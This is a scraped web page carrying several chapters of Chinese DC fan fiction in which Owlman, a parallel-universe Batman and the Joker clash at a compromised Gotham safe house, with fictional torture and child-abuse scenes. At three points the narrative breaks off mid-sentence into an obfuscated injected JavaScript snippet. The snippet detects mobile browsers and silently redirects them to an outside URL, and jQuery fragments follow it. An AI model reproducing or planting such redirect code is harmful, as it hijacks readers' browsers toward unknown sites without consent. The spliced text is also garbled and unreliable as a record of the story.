与这种由内而外的意志做斗争,使得我很难分心去关注周围,乃至于不知道时间过去了多久。我能听见卡尔和露易丝的声音像火车的汽笛声,在我耳边一闪即逝。天与地无规律地旋转,视野边缘泛起朦胧的黑色,我几乎以为自己看见了死亡本身。屈服套索试图让我相信,放弃自己能得到更广阔的自由,此后一切与我都无关痛痒。这时我的大脑自发理解了超女王在我身边说出的内容,于是我开口吐出几个字,看到她微微一怔,不远处红蓝相间为主色调的卡尔则对她比了个‘这局我赌赢了’的手势。 ** “你想要从平行宇宙得到什么?” 有冷汗从她面前男人黑色的发丝间渗透出来,又缓慢地划过他的额角。 托马斯·韦恩绷着下颚,半晌没有回答。露易丝觉得他此刻半阖的蓝眼睛有种如烟雾般的美,又因为她知道那双眼下的情感有多坚硬,它们片刻动摇就显得有多珍贵。 “你想从平行宇宙,得到什么?” 她加重语气,又重复地问了一遍。 卡尔嗅到了若隐若现的血腥气。他看到夜枭的手用力按在扶手上、把它拧成一个扭曲的弧度。那只手的手背上鼓起青筋,之前从空中掉下来时扯着勾爪撕开的伤口又一次淌出淡红色混着汗水的血,而其主人浑然不觉,不屈的灵魂被禁锢在走到绝境的肉|体中,仿佛恐惧到了尽头又无所畏惧、筋疲力竭仍不肯放弃,执着地与某种无形的事物作斗争。 氪星人开口评价露易丝道:“我说你是白费功夫。” 说得你不期待见到结果似的,装模作样的外星人。露易丝心想,光是看到夜枭这副样子,我今天就不亏,赔多少钱和地也行。 可惜搞不到手,没法生个继承父母双方天分孩子。 这世上确实没有人能抵抗屈服套索。又过了几秒钟,好像挣扎在濒死线上的男人终于猛地吸了口气,被绳子缠住的手挣动了两下没有挣开,只能回答道:“……为了睡个好觉。” 露易丝说:“什么?” 她攥着屈服套索的手下意识松开些许。 “我说过我很困。”夜枭最后看了他们一眼,“这不是玩笑话,我至少三天没睡了,所以有什么事等我……” 他话未说完,已经闭上眼睛,任由金色套索的尾端还摇摇晃晃地挂在手臂上,就那么倚靠着沙发背陷入沉眠。 ** 这是理查德和自称蝙蝠侠的陌生人在安全屋中相处的第三个小时。 他深刻认识到了和夜枭关系相近的对象有多不好糊弄,两个人你来我往了好几个回合,理查德自觉没占到什么便宜,还差点被对方套出话来。幸好蝙蝠侠对他态度不错,又愿意在一定范围内尊重夜枭定下的规则。最后他们互相妥协,年轻人给年长者打开安全屋唯一一台能够连接外界的电脑,并坐在旁边看着对方以极快的速度浏览信息。 最开始是韦恩家。新闻报道的内容和理查德了解的差不多,托马斯当年收养他说‘我是为你而来’,暗示他们相近的境遇。 但这些年来理查德从未听他说起过自己的父母,因此,他一直怀疑报纸上那张小托马斯站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064589|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在血泊中痛苦到五官扭曲地落泪的照片、以及报道内容中所谓‘一家三口被暴徒枪杀只余长子为至亲离去悲伤’的描述隐藏了部分真相。 只是他清楚有些事是绝对不应该在韦恩家中提起的。 那是每个记忆停留在旧日里的人心中永恒的梦魇。 理查德看不出蝙蝠侠对此有什么看法。 韦恩家之后是哥谭。这没什么好说的,夜枭崛起得雷厉风行,用血路铺就王座,蝙蝠侠看这段时室内气压一直很低,不过依然没有评价或者询问。 理查德觉得他简直冷静得不像个从平行宇宙过穿越来的人。 再之后就是犯罪辛迪加。这些年辛迪加发展迅速成果斐然,很大程度上依旧仰赖夜枭。理查德觉得蝙蝠侠正在看的内容完全可以整合起来出一本书,就命名为《如何从一无所有到站在权力巅峰——夜枭犯罪史》,但这本书应该不适合那些对痛苦和欲|望过分敏感的人。 不过说不定很适合蝙蝠侠。他突兀地想,又为自己的想法感到好笑。 “已经过去三个小时了。”布鲁斯瞥了眼不知想到什么、自顾自开始笑的男孩,“夜枭没和你说他什么时候过来?” “没有,但是估计要等一会。”理查德回过神收起笑脸,“他得先把超霸和超女王打发走。” “两个人?”蝙蝠侠在面具下皱起眉,“超女王似乎并不易于应付。” “对,她比超霸更精明一点,不过这也不是第一次了,托马斯肯定能解决,等他们走后阿尔弗雷德会联系我们。” “他们和夜枭的关系怎么样?” 理查德拍了拍电脑:“你不是看到了吗?” “我要报道下的那些。” “托马斯没告诉你,可能是不想要你知道。”理查德拿之前蝙蝠侠应付他的话先呛了一句,但他意识到如果对方不是敌人,让蝙蝠侠知道辛迪加成员之间的关系有助于后续安排——比如他得在打不过人家的情况下,想办法说服蝙蝠侠留在安全屋里,“他们的关系,嗯,不好不坏。面对外敌可以联合起来,但时常互相……用超女王的话说,来点‘情趣’。” “他和超女王是情侣?” “不是,超女王和超霸在一起的时间比较多,虽然她确实有过这种想法。” “那么超霸呢?” “……他更特殊一点。”理查德为了能让蝙蝠侠老实听话有问必答,这个话题还是让他犹豫了一下,“我不好说,超霸大约把托马斯当成朋友,但氪星人的观念与我们并不完全相同。而托马斯,他可能认为自己和氪星人有一部分相似。” 蝙蝠侠平静地问:“怎么说?” “人群中的‘异类’,并且无家可归。” 这是阿尔弗雷德曾经给他讲解如何同辛迪加成员相处、以及夜枭的态度时提到的。 理查德注意到他面前人的嘴角沉了下去。 “我明白了。”蝙蝠侠说道,“我需要再在安全屋里待至少两个小时,你计算机学的怎么样?” 只要蝙蝠侠不出门就是阶段性胜利! 理查德谨慎回答道:“还不错,你要做什么?别干危险的事,我们不能引来辛迪加注意。” “只要你技术过关,就不会危险。” 黑发年轻人翻了翻眼睛,嘟囔道:“我今天承担的风险起码值得夜枭带我出去夜巡一次。好吧别瞪我了,我答应你,但你也得答应我不管干什么都等托马斯过来再说。” ——接下来的两个多小时,他们撬开了政府的信息库,开始查看哥谭乃至于世界范围内可能遇到的对手资料。 中途理查德还能根据实际情况进行增加或者删减。 这里面仍有不少他知识范围之外的内容,没过多久两人就完全沉浸其中,直到阿尔弗雷德发过来说‘超霸与超女王离开韦恩庄园,托马斯老爷正在海边别墅休息’的短讯,才让理查德挣扎着从信息流中抬起头给出回复。 夜枭什么时候会在其他辛迪加成员在场的时候放松了? 他狐疑了一瞬,生出想要回去韦恩庄园看一眼的想法,可是他的任务目标还在旁边。 蝙蝠侠若有所觉,抬起头问道:“发生了什——” 另一个宇宙的哥谭义警忽地闭上嘴将话音咽了回去。他仰起头看向安全屋地下室的天花板,隔了半晌才问道:“除了你和夜枭之外,还有人能进来这栋房子吗?” 19. 平行宇宙Joker是否会梦见电子哈莉^^…… 我再睁开眼睛已经是接近六个小时之后了。失去意识前大约是晚上七点钟左右,太阳刚刚落山,而现在午夜时分已过。 阿尔弗雷德叫我的时候我还有点懵,他看着我,我看着他,客厅的灯还暗着,窗帘敞开,月光铺在地毯上像洒在奶油顶的霜糖。管家给我递了一杯漱口水,说道:“我本打算叫您起来回去庄园睡。” “超霸和超女王呢?” “他们十二点左右离开了哥谭市。您不知道?” 我确实不知道。 这一觉(或者应该说昏迷)我睡得人事不知,按理说通宵两三天之后不休息一段时间是缓不过来的,但自从接受了自己约等于纸片人这种设定之后,我吐槽‘人干事’时就谨慎很多,人类定义的标准线在我心目中被无限拔高了。正如现在我头不疼眼不花,虽然身体还是有点沉,那也是因为刚清醒没多久,撑过起床后的短暂失智就和没通宵差别不大。 于是我很快清晰地意识到,阿尔弗雷德刚才说得是‘我本打算’。 “发生了什么?”我问道,“理查德不在。” 观察着他沉凝的脸色,我很肯定地说道:“是他那边出了意外。” “他还没回来。”管家低声说。他走到窗边按下一盏壁灯,暖黄色光便取代月光笼罩在我们周围,“我半个小时前通知他说辛迪加走了,按理说他这会应该已经带着您的客人回到庄园里。” “但是没什么道理。”我半是自言自语,半咨询阿尔弗雷德的意见,“除了我们四个人以外没人知道林肯路12号是我的安全屋。蝙蝠侠的敌人不在这个宇宙,他也不会大意到被人发现。至于理查德……他有多大可能被人缀在身后却一点没有察觉?如果对手真的是冲他来的,为什么不在更加简洁便利的屋外动手?” “也许是对他的任务目标感到好奇?” “但时间对不上。他们彻底失联是在什么时候?” “具体时间没法判断,不过二十分钟以前安全屋的计算机网络还在向主机输送活动信号。” “那么假设他们在十二点半前后正式与敌人交手。”我说,“之前有五个半小时的空档,如果对手要观察或者提前设伏,就必须接近安全屋。而只要他靠近,蝙蝠侠和利爪同时未发现其迹象的可能性就不大。” “除非他或者她跟随理查德到目的地,而这五个小时的时间里什么都没干。安全屋不只有一个出口,守在门前等待援军也不合逻辑。” 最后我总结道:“看来敌人不是冲着他们两个去的。有人知道林肯路12号是我的安全屋,想要在那里埋下陷阱等我过去。” 但问题就在于,理论上只有我、阿尔弗雷德、理查德和蝙蝠侠知道它存在。 这栋别墅是我父母销赃的地方,平时我并不常来,以至于壁灯年久失修。我在忽明忽暗的光线里和阿尔弗雷德对视半晌,他明白了我的未尽之意。 “不会有人泄密的。”他说道,“您的客人来访时日尚短,您离开的这几天,理查德少爷一直在我的约束下。至于我——您应当知道我早就和您站在一艘船上了。” 我不置可否:“不管怎么说,无论他们想在安全屋布置什么,现在都提前暴露了。如果是我的老对手消息又足够灵通,就该过来拖住我,以防止我同理查德与布……蝙蝠侠汇合。” “可是他们不会知道您不在韦恩庄园里。” 他话音刚落,西装口袋里手机响应似的嗡鸣起来。我马上看过去,阿尔弗雷德皱着眉看了眼屏幕,脸色更阴沉了,假如不是周围光线颜色深,他看上去就像个刚出土的老僵尸:“是庄园里的烟雾报警器,老爷,确实有人准备对您动手了。” 事情到这个地步,冷酷一点说,我的安全反倒暂时没什么威胁——最重要的是弄清楚敌人的身份、以及他们是如何知道林肯路12号的。 这件事巧就巧在他们应该计划了很长时间,我的失踪在有心人眼里不是秘密,对想要搞事的人而言简直是天赐良机。 然而信息流动造成的时间差始终存在。我回来的很突然,不过辛迪加动向足够显眼,说不定他们在发现安全屋里有人之后就推测到我回来了,这才选择突袭韦恩庄园以转移我的注意力。 然而老实说,仇恨我的对象实在太多,我得用排列组合公式才能算出我今夜的对手有多少种可能性。 “阿尔弗雷德,你去韦恩庄园。”我对管家说道,“让他们以为我就在岛上、这次偷袭取得了成果。我需要去林肯路看一眼。” “他们明知道我最有可能和你一起去,就让韦恩庄园至少引走一个人,这样对手只有我或者你,不管是胜利还是逃跑都有希望……ABCD,做选择题,这种行事风格让你想到谁了?” 阿尔弗雷德干巴巴地说道:“某个粘着人不放的臭虫。” 顿了顿,他又开口, “您确定要这么做?他们迫不及待想要转移您的注意力以防您前往安全屋、对反抗势力造成过大损失,另一边出动的必然是重要角色,甚至有可能是小丑本人。不如先让我通知□□或者哥谭警局……” “我不信任他们。林肯路已经暴露了,我还不知道为什么。”我打断他,“而且现在叫人来不及。” 阿尔弗雷德突兀地问:“您现在同样不信任我,是吗?” 我根本不作回答,片刻之后,他在我毫无回旋余地的视线下妥协了,躬身行礼之后就准备开始行动。 我目送他驱车向山顶的韦恩庄园驶去,顺便透过窗户仰头看天。城市上空积着一层浓厚的乌云,逐渐掩盖住刚才还皎洁如新的明月,将海岛间小路映衬得更加阴森。这天气有些像是我在另一个宇宙里、从蝙蝠侠手中逃跑时的那个夜晚,只是漆黑的云层永远不会映出巨大的蝙蝠形状倒影。 等引擎声彻底消逝之后,我将早就准备好的盔甲和面具穿戴整齐,打开窗户的瞬间,浓郁的水气扑面而来,这座城市很快即将迎来又一个雨夜。 林肯路离海湾别墅只有十分钟左右的车程。 我赶到现场前就设想过能让美漫里有名气的正面角色、再加上我从小带大的孩子,近半小时还没脱身的战况能有多复杂。 事实证明小丑具备以一己之力让局面变得胶着的特殊技能。蝙蝠侠孤身一人站在安全屋外的花园里,小丑帮的成员包围了整栋建筑,附近居民数量不多并且全都有志一同地假装自己不存在,于是诡异的一幕发生了——这片住宅区就像是被荒废的死城,一栋栋居民楼仿佛逝者的墓碑,我们全部都是穿着戏服的演员,只在坟地舞台的中央有夸张的、荒诞的声响。 柏油路上用荧绿色的油漆写道:“来吧!与无望共舞的人!” 我左眼皮不受控制地跳了跳,从附近制高点一跃而下,落在被篱笆圈起的草坪上。 城市间已经下起了小雨。 我落地近乎没有声音,蝙蝠侠还是察觉了。 他没有回头,简单快速地说道:“谜语人在地下室安全门外面被我打晕了,他用机关拦下了利爪,自己进不去,里面的人也出不来,谜题只能从内部解开。这些人的目标是你,你单独过来的?” “是。”我回答说,“韦恩庄园出了点事,阿尔弗雷德需要回去看一眼。” 看来他的推断和我差不多。 理查德没有危险,只是被留在原地走不开,蝙蝠侠为了拦下其他人不得不在这守着。不过看他习以为常的态度,布鲁斯不仅熟悉小丑,也习惯于应付谜语人,甚至可以在与小丑对峙的时候把尼格玛关在一旁不管,活像那种打了几百遍副本的骨灰级玩家,Boss一抬胳膊就知道对面要放什么技能,熟练得让人心疼。 这只能归功于谜语人在不止两个宇宙里都留下过浓墨重彩的痕迹,我宁可跟小丑帮成员打上一百回合也不愿意同尼格玛面对面坐下来猜他写下的绿色问号是什么意思,所有和我与蝙蝠侠处境相同的人当如是。 所以谜语人什么时候才能滚出哥谭? 但眼下的重点还是小丑。他站在数十米之外的位置,穿着打扮一如既往且吸水,紫色西装被细密的雨丝打湿氲成深黑色,胸口花瓣了无生气地耷拉着,翠绿色的头发烂稻草似的贴在脸颊上。 见到我到来他热情洋溢地打招呼:“晚上好猫头鹰!来的人是你,局外人去韦恩庄园了,对吧?我就知道在真正重要的事情上你只信任你自己,这是好习惯,提倡所有人学习,有助于延长寿命。” 我没理他,扭头对蝙蝠侠说道:“不好意思,这是个意外。” 我是说,我作为东道主没处理好小丑这种街头四窜的野生对手,还让平行宇宙的客人撞见了实在有失身份,只是这话不好说得太明白。 昏黄的路灯下,小丑看着我,我看着蝙蝠侠,蝙蝠侠看着小丑,我们形成了一个完美的等边三角形。 蝙蝠侠:“……你也见过我那里的小丑。” 我:“……” 那确实,主宇宙小丑和科波特对‘Joker是否有概率拥有一个电子女友’话题的吵架声还停留在我的记忆中。 也不知道我作为一个平行宇宙的反派,为什么会和主世界的超级英雄这么共情? 不过话又说回来,小丑说他料到来的人是我,偏偏胸有成竹地站在这不走,排除掉他嘴上吹牛实则慌得一批的可能性,应该就是有备而来了。 ** 雨水落在地面上噼啪作响,天空黑压压地往下沉,短时间内没有放晴的迹象。小丑抹了把脸上的水,看着旁若无人对话的猫头鹰和蝙蝠,冷不丁说道:“你不想知道我是怎么找到这里的吗,夜枭?” 不知是有意无意一直当他不存在的哥谭统治者终于回过头,身上的披风将他与缠绵的雨隔绝开来,不过猫头鹰羽毛应该是不防水的吧? 想象出一只在阴雨天坚持出门结果被浇成落汤鸡的枭形目生物,小丑被自己脑子里浮现的形象逗乐了。立场上他同夜枭不死不休,但从个人情感角度出发,比起解决托马斯·韦恩,他更愿意先处理掉政府和警局里被夜枭收买的杂碎、或者夜枭手下那个总是笑得像个死人的管家。 可是谁让来的人是小托马斯? 这么说也不对,他不是早就知道来的人会是小托马斯吗? 小丑以前和一群人蹲在少数夜枭顾及不到的城市废墟中打牌,玩的德|州|扑克,企鹅人坐庄。奥斯瓦尔德·科波特是他们中少数几个能正大光明出现在哥谭的人之一,在警局以及□□里都有人脉,重要的是他洗牌洗得很不错。打牌间隙里他们罕见地聊到了夜枭——不管是什么立场的组织或者联盟都少不了内部斗争,小丑自成一派,大家平时都不太乐意和他一起行动,只看在同行面子上偶尔聚聚,推心置腹聊天的次数更少。 小丑说他的目标是杀死夜枭。 其他人头也不抬,纷纷附和:“谁不是?” 然后就没人接话了,场面一度十分尴尬。 人们常说不努力吃饭的人是思想有问题,但哥谭市不缺第一个吃螃蟹的人,不缺留在原地混吃等死的人,也不缺闻风而动的墙头草,反倒是在推翻夜枭这件事上所有人都表现得格外消极,因为他们都清楚一点——就算现在有人能杀了夜枭,哥谭市接下来该怎么办? 对抗一个人需要勇气,对抗整个世界需要的就是疯狂了。 小丑时常表现的疯疯癫癫,可他不是真的疯。 所以这座城市只有一个人在尝试走这条路。 ——夜枭。 小托马斯·韦恩。 与其说城市的统治者对它的感情是热爱,小丑觉得那倒不如说是憎恨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064590|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有憎恨不会随着时间消褪。哥谭和夜枭是一体的,前者就像后者身上永远不会被治愈的恶性肿瘤,每当托马斯·韦恩觉得它碍眼时,就怀着不知从何而来的深切仇恨举起刀刃,宛如不是在切割自己的血肉之躯—— 与无望共舞之人,真的能够迎来黎明吗? 或者我们都该随着他下到地狱里去。 他眯起眼睛,看着在雨雾中盘成两朵蒲公英似的灯光下站着的猫头鹰,对身后的跟班招招手,拖长声音甜腻地说:“戏幕拉开,重要的配角怎么能缺席?得让韦恩先生见见他养的忠实的狗。” 一个男人双手被绑在身后,随着小丑帮成员的推搡踉跄着从人群里跌到包围圈中央,小丑漫不经心地踹了他的屁股一脚,听着对方的哀嚎声,笑嘻嘻地说:“我花了好多钱才从这家伙嘴里买到林肯路的地址。他开口之后就没用处了,本来应该解决掉再把钱从他的□□里掏出来,可是我怎么能不让伟大的夜枭见他属下最后一面呢?” “我从来没有把林肯路12号的地址告诉过其他人。”夜枭冷淡地说,双眼落在涕泗横流跪在地上的男人身上,“除了……哦,我想起来了。”他沉思几秒钟,“半个月前他们打算在北城区挖开一条新的贸易线,我否决了穿过林肯路往北方公园去的线路规划。” 小丑笑容扩大些许,地上的男人被雨水打得劈头盖脸,高声喊道:“我不是故意的!我真的不是故意的!是他,是小丑威胁我,求求您了,夜枭,求求您,不要杀我!” 他模糊地看到曾经的顶头上司半蹲下来,用湿冷的深色金属指尖捏住他的喉咙硬生生把人提到双脚离地。窒息感让男人下意识地在他手中挣扎,而这种软绵绵的力道完全不能使夜枭动摇分毫。 “只是这条信息应该不足以让你联想到林肯路,还有什么别的?” 男人翻着白眼没有回答。 夜枭往他的小腹上锤了两拳,血液夹着内脏碎屑顿时从俘虏口中溢出来。 “咳咳,我……”背叛者为了在他手中苟活,只能断断续续地挤出声音,“我想要找到更方便的线路……还翻看了政府近些年城市布局提案……三年前政府计划在杰拉德区的边缘增设一条水渠,后来这个项目由韦恩企业承担了。但是我发现那条地下水渠根本没有修建完成,在林肯路附近它就……唔呃!” “你很不错。”夜枭收紧手指,若有所思道,“我一直觉得你应该是个聪明人,这才把大部分产业交给你来处理。但是投靠小丑真的不够明智,还是说我下次处理叛徒应该放在电视频道里供所有人循环播放,这样才能起到警示效果?” “别!拜托你千万不要那么做,”男人呜咽起来,小丑则在他的哭声里大声说道,“有意思的电视节目本来就不多了!” 夜枭嗤笑一声,随手把人扔到小丑脚下,紧接着又从腰间抽出手|枪对着叛徒的脚踝开了一枪。 “啊啊啊——” 枪声和惨叫声连成线,深红的血在积雨的泥洼中蔓延开来。 小丑耸了耸肩:“看来你不喜欢我送给你的回归礼物,亲爱的猫头鹰先生。” 他顺手拿起身边的棒球棍:“为表歉意,就由我代理您处理掉您看不过眼的家伙吧!” 他扯起嘴角,绿色的瞳孔像个失去活性的玻璃制品,高高举起双手然后用力砸下—— 蝙蝠镖就在这时划过弧线,绕过棒球棍击中了小丑的手腕,打得他一个激灵后退半步差点跌倒,长棍不受控制地从手中滑落。 小丑愣住,地上的男人看准时机蠕动着往侧边滚去,蝙蝠侠身边的夜枭也跟着愣了愣。 与此同时,他们身后的独栋公寓——林肯路12号,事件的起始之地——内部发出一声闷响,几乎被屋外花园里的混乱压得悄无声息。 而夜枭听见了。他的视线划过小丑陡然间兴奋的面孔、草丛中叛徒狼狈的姿态,掠过蝙蝠侠时停顿了一瞬,护目镜最后映出安全屋内燃起的明亮的火光。 他毫不犹豫地转身就走。 小丑大笑,笑得上气不接下气,捏着还在颤抖的手腕弯下了腰。他用奇异的眼神看看蝙蝠侠,又看看夜枭的背影。 “哎呀,你们。”他抖着指尖在凄风冷雨中整理了一下领结,开口说道,“不管你是谁,他既然信任你,你现在不该盯着我,反倒应该去帮帮他,就算我求你了。” “安全屋里的爆|炸|物是什么?” “稻草人毒气的最新型号,在这里我要感谢艾迪的倾情付出以吸引你们注意力。”小丑回答说,“一个问题交换一个答案,你和他相处的时候,他有没有和你提起过……唔,犯罪巷?” 蝙蝠侠不说话,他没走正门,用钩锁挂住了与壁炉相通的烟囱顶,明显不打算继续和小丑留在原地纠缠。 小丑冲他喊:“嘿!我看到安全屋里韦恩家的合照被你拿走了!你知不知道当年韦恩夫妇和小布鲁斯·韦恩是怎么死的?!砰砰砰——”鲜红的嘴唇里冒出两三句枪声的拟声词,“这个谜题的谜底难道只有我让潘尼沃斯那个老家伙中毒濒死才有可能知道答案吗?” 回应他的是三道蝙蝠镖。 小丑早有准备的避开,再抬起头蝙蝠侠已经消失不见了。 他眨眨眼,抬起皮鞋对着地上俘虏的脚腕上的伤口用力踩了下去。 “该怎么说呢?”小丑在对方撕心裂肺的叫声里对自己说,“我更希望来的人是潘尼沃斯,不过现在勉强也算有成果。” 之后他扯着男人的头发拎他起来,亲切道:“接下来就是我们俩相处的时间啦,我和夜枭不同,我是个民主的人。所以你更喜欢哪种玩法,过家家?丢手绢?我们没有手绢,就用你的手骨来代替吧。” 俘虏奄奄一息没有回答,而小丑拖着他的脚哼着歌往瓢泼大雨里面走去。 20. 以爱之名 谜语人在流鼻血。 伤口出血量不多,但胜在持之以恒。他的小半张脸都散落着凝固的血痂,视野呈现暗红色且朦胧不清,以至于蝙蝠侠从天而降的时候,谜语人脱口而出:“——夜枭?你怎么出来的?” 紧接着,他意识到自己认错人了。 该死的断掉的鼻骨,该死的小丑,该死的夜枭的安全屋……谜语人没再往下骂。冤有头债有主,他鼻子受伤不是因为利爪,也不是因为小托马斯·韦恩,完全是他自己急着上楼的时候撞到了书架。十几千克重的大部头和乱七八糟的杂物从天而降、砸得他头昏脑涨口吐芬芳。 夜枭是有收集癖吗? 谜语人同样有这方面的乐趣,他完成任务后没有第一时间离开,就是被老对手的收藏吸引了注意。小托马斯·韦恩是个有趣的谜题,线索就藏在这些零碎的小玩意里面: 地上有一张二十三年前飞往中国的机票,目的地城市被稻草人毒气爆炸后燃起的火焰烧焦了。 旁边是一枚价格昂贵但设计低调的怀表,应当不属于小托马·韦恩本人,而来自他的管家。怀表没有上发条,表面上的时间永远停留在了某个夜晚。 让谜语人鼻子受罪的是台密封良好的氪石猫头鹰雕像,外部做了防辐射处理,被摆在书架顶层。夜枭大概不太喜欢它……这只猫头鹰看上去有点憨,眼睛睁得大大的,胸前羽毛蓬松发亮。 和氪石雕像一起挤在柜子上层的是个亚马逊人用过的断剑,断口往下的刀刃仍然锐利如初。 下方是一摞有明显翻看痕迹的物理学教材和纸质文献,书脊落着一层灰,显示出主人已经很久没有重温了,可能送到这里的都是些初级内容。 还有几盘录像带和磁带,大约有近三十年的历史,现在年轻人应该都没见过。谜语人兴致勃勃地捡起来翻了翻,挑出最古老的一个塞到旁边的录音机里。播放器上的按键标志早就被磨损得一干二净,他随便试了几个键,里面黑色的带子就转动起来。 一阵滋啦作响的电流声,而后先是女人的声音,笑着说道:“我只是和你说一声,你那么紧张干什么?” “我、我又没想过!”清脆的童声,应该是男孩,显得有些不服气,“我同样是家里的成员啊,妈妈怀孕的事情应该告诉我的!” “现在也不迟。” “可是妈妈这几个月一直不在家,等你们回来他都快要出生了!” “行了托马斯。”然后是个男人的声音,有些疲惫和冷硬,“你知道也没什么用,这个年纪只要老老实实听我们的话就够了。玛莎,对不起,我今天……” 女人:“你这个蠢货。我在和我的孩子聊天,闭上你的嘴。” 男人声音有些扭曲,变得高亢起来:“你骂我?安东尼奥的死是谁的责任?!你当初和你的姐妹把他尸体埋在花园里,就该料到今天!” 韦恩夫人毫不示弱:“你这辈子就见过他一个死人?警察询问的时候你被吓得发抖,而我还在怀孕!” “得了我不想争论这个,托马斯,我带你上楼去,别理这个想到什么就干什么的疯婆子……托马斯?你在干什么?托马斯!玛莎,这个小崽子在录音!看看你生的好儿子!” “我不是!”男孩尖叫起来,“我没别的意思,我只是想在下次你们瞒着我什么事的时候用弟弟的出生来提醒你们。对不起,对不起,我不是有意的,我现在就把它删了,妈妈?妈妈你要干什么?爸爸!!” ‘啪’的一声脆响。 男孩的叫喊声戛然而止,被令人窒息的沉默吞没了。 “——你才三岁,小托马斯。”伴随着富有韵律的脚步声,女人说话声逐渐靠得极近,仿佛正在耳边响起,躁动的电流和播放器运转的嗡鸣也难以掩盖住她语调中的冷酷,反倒令这段对话结尾显得更加吓人。谜语人气定神闲地站在原地,猜想小托马斯·韦恩那时会是什么表情,同时觉得这份录音极其适合被放在恐怖片或者游戏里。 “脸上疼吗?记住这种疼。三岁儿童通常还在保护期,没有人会花大力气对你下手,除非你表现得太聪明,或者太特殊。” 衣物摩擦的声音。 “知道太多没什么好处,亲爱的。我和你爸爸爱你,所以家里有什么事情都不告诉你,这也就意味着你可以快快乐乐地待在家里,接受阿尔弗雷德的照顾,什么都不用想,什么都不用做。” “你唯一的义务就是讨好我们,让我们愿意持续地爱你,明白吗?” 几秒钟的寂静。 磁带缓慢地运转。 韦恩夫人笑了:“好孩子,我让阿尔弗雷德给你上药。之后你负责照顾你弟弟,我和爸爸很忙,接下来家里会有很多客人,你就待在卧室里哪也不要去,有事情摇铃叫阿尔弗雷德,记住了吗?” 那孩子还是没开口,仿佛突然之间变成了个哑巴。 女人却很满意的样子:“你手里的录音机我拿走了,下次再做这种事可没有这么简单,要吸取教训。上楼去吧,晚安,亲爱的。” “……” 远处韦恩先生不耐烦地道:“你妈妈和你讲话呢!听不见吗?玛莎你把他的耳朵打坏了?” “没有,我收着力道。你的礼貌呢,小托马斯?” “……晚安。”男孩含糊地小声答应,“对不起,爸爸妈妈,我也爱你们。” 又是一阵衣料摩擦的声音,好像韦恩夫人蹲下来给小托马斯·韦恩整理了一番衣领,接着脚步声远去,录音结束。 谜语人咂了咂嘴,感觉错过这份录音,小丑亏了一个亿。可是就算韦恩夫妇在世时家族势力照现在还差得很远,就算韦恩夫妇是一对缺点和罪行罄竹难书的人渣,他们毕竟不是傻子,不可能把这份录像带留到现在。 当时还不满四岁的夜枭是怎么把它弄到手的? 他想着想着,回过头,一个算上尖耳朵至少两米的黑影就在他身后不远处,可谓恐怖片照进现实,把谜语人吓得后退好几步。他冷静下来观察两秒钟,确定来人不是夜枭是蝙蝠侠,情绪大起大落,捂着鼻子大喘了好几口气:“你站在这多久了?” 有意思的是,在这个世界里,小托马斯·韦恩时常以本来面目示人,谜语人他们以蒙面‘义警’的身份走出门时却通常蒙着脸。现在爱德华·尼格玛头上就带着画有巨大绿色问号的油纸袋,显得有点滑稽。 蝙蝠侠没回答,问了另外一个问题:“地下室毒气的成分是什么?” 谜语人后退一步,干笑道:“我怎么知道,你现在去找稻草人还来得及。” “说谎。你清醒过来后能免疫他的毒气走出地下室,把它的解药交给我!”蝙蝠侠低沉地威胁道,“否则你今天别想活着走出这栋房子。” “啧啧啧。”谜语人晃了晃头,袋子哗啦啦作响,“你才是在骗人,蝙蝠,我知道真正想要杀人的人是什么样,你明明在克制你自己。怎么说呢?这威胁力度离夜枭可差远了,我见过他把人串成一串挂在天花板上风干,但你打晕我之后可没干出这种事来。不如我来说个谜题,你猜中了我就告诉你他们现在状态如何。嗯……就说小托马斯·韦恩是怎么拿到录音的呢?答案可能就在下一份录音里,你要听听看吗?” “我可能不会杀你。”蝙蝠侠已经发现这群疯子比他认识的更难对付——自诩正义者,行事间难免多点气节,心有执念时也更悍不畏死,“但我会打碎你身上的每一根骨头,再把你扔到地下室里和毒气作伴,我很熟悉怎么让人感觉疼痛却仍然活着。你的解药能维持多长时间?” “拜托,你对下一份录音真的一点都不好奇吗……等等,等等!稻草人毒气是不会致死的!小丑只是想拖住夜枭自己离开,他料定托马斯·韦恩至少会在乎利爪!放过我吧我只是个被他用夜枭收藏品诓过来的无辜人士!” 蝙蝠侠已经开始显得焦躁了。谜语人嘴上不在意,实际时刻紧盯他的情绪,生怕自己真的被揍到半身不遂再来个毒气浴。 眼见到气氛已经达到临界点,他立刻十分熟练地举手投降:“我身上没有解药,注射剂提前打过。稻草人毒气剂量不大,本来是为了防止利爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064591|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 